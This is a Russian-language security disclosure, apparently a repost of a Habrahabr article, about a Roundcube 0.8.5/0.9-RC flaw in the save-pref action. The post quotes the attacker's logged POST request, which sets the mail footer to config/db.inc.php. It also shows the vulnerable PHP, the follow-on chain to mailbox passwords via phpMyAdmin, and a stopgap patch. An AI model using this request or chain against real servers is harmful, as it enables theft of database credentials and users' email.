Есть много разного полезного софта, который присутствует на большинстве хостингов. Например, стандартом de-facto является phpmyadmin, отсутствие которого пользователи не поймут и не оценят. Для почты такое “приложение по умолчанию” — roundcube. Сегодня мы поговорим о уязвимости zero-day, которая отдает в руки злоумышленнику всю почту ваших пользователей Традиционно считается, что такие популярные скрипты не могут содержать сколько-нибудь значимых уязвимостей. Да, возможно XSS, может быть CSRF, это неприятно, но сложно эксплуатируется и к утечке серьезных данных в большинстве случаев не приводит. Мы проектировали shared-hosting с полным пониманием того, что наши клиенты крайне чувствительны к любым нарушениям безопасности. Не должно быть ни явных ни потенциальных угроз. Тем не менее, с некоторых пор мы наблюдали статистически значимое увеличение жалоб на доступ посторонних лиц к FTP. Было проверено всё — начиная с внутренней безопасности, заканчивая любыми вариантами утечек через биллинг, от самих пользователей и т.д. В какой-то момент стало ясно, что утечка идёт из почтовой системы и скорее всего из её веб-части. Паттерн эксплуатации крайне странный — взломщик получает пароль от базы roundcube, через phpmyadmin вытаскивает оттуда сессии, получает из сессий пароли к почте. Причем, сессии roundcube шифрует, а значит доступ есть и к ключу шифрования. Найти уязвимость помогло частичное протоколирование POST-запросов: Code: POST /?_task=settings&_action=save-pref&check_request=&_check_request= HTTP/1.1" 200 1133 "http://mail.ddos-guard.net/?_task=mail" "Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0" "_token=0f7c9ae8a387cb0bc5ce563fa09fe172&_session=generic_message_footer&_name=generic_message_footer&_value=config/db.inc.php Локальный include. Взломщик добавляет config/db.inc.php в футер письма и отправляет это письмо себе. Осталось выяснить, как же так получается, что последняя стабильная версия roundcube делает такую мерзость. Всё достаточно просто: index.php: Code: else if ($RCMAIL->action == 'save-pref') { include INSTALL_PATH . 'program/steps/utils/save_pref.inc'; } program/steps/utils/save_pref.inc: Code: $name = get_input_value('_name', RCUBE_INPUT_POST); $value = get_input_value('_value', RCUBE_INPUT_POST); // save preference value $RCMAIL->user->save_prefs(array($name => $value)); // update also session if requested if ($sessname = get_input_value('_session', RCUBE_INPUT_POST)) { // Support multidimensional arrays... $vars = explode('/', $sessname); // ... up to 3 levels if (count($vars) == 1) $_SESSION[$vars[0]] = $value; else if (count($vars) == 2) $_SESSION[$vars[0]][$vars[1]] = $value; else if (count($vars) == 3) $_SESSION[$vars[0]][$vars[1]][$vars[2]] = $value; } $OUTPUT->reset(); $OUTPUT->send(); Атакующий может перезаписать любую переменную в конфигурации и получить любой файл, доступный для чтения пользователю под которым работает roundcube. Уязвимость присутствует в самых последний версиях — roundcube 0.8.5 и 0.9-RC. Патч для временного затыкания дыры: Code: diff --git a/index.php b/index.php index 8de8ca0..6470295 100644 --- a/index.php +++ b/index.php @@ -258,7 +258,8 @@ if ($RCMAIL->action == 'keep-alive') { $OUTPUT->send(); } else if ($RCMAIL->action == 'save-pref') { - include INSTALL_PATH . 'program/steps/utils/save_pref.inc'; + echo "Oops"; + die; } Остается заметить, что roundcube присутствует в CPanel, DirectAdmin и т.д. Фактически этой уязвимости подвержены большинство современных хостингов. Счастья вам. Будьте бдительны. http://habrahabr.ru/post/174423/ 27.03